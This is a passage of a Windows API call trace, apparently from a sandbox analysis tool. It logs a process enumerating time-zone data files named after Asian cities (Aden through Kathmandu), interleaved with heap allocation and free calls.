lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aden", cAlternateFileName="")) returned 1 [0088.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf308 [0088.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326cd0 [0088.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.664] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Almaty", cAlternateFileName="")) returned 1 [0088.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf328 [0088.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326d58 [0088.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.666] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Amman", cAlternateFileName="")) returned 1 [0088.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf348 [0088.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326de0 [0088.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.667] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="Anadyr", cAlternateFileName="")) returned 1 [0088.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf368 [0088.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326e68 [0088.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.669] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aqtau", cAlternateFileName="")) returned 1 [0088.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf388 [0088.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326ef0 [0088.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.671] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aqtobe", cAlternateFileName="")) returned 1 [0088.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf3a8 [0088.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326f78 [0088.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.672] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ashgabat", cAlternateFileName="")) returned 1 [0088.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf3c8 [0088.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1327000 [0088.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8940) returned 0x132a698 [0088.674] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Baghdad", cAlternateFileName="")) returned 1 [0088.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.675] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bahrain", cAlternateFileName="")) returned 1 [0088.675] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Baku", cAlternateFileName="")) returned 1 [0088.675] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bangkok", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Beirut", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bishkek", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Brunei", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Choibalsan", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chongqing", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="Colombo", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="Damascus", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dhaka", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dili", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dubai", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dushanbe", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gaza", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Harbin", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hebron", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hong_Kong", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hovd", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ho_Chi_Minh", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Irkutsk", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jakarta", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jayapura", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jerusalem", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kabul", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kamchatka", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Karachi", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kashgar", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kathmandu", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, 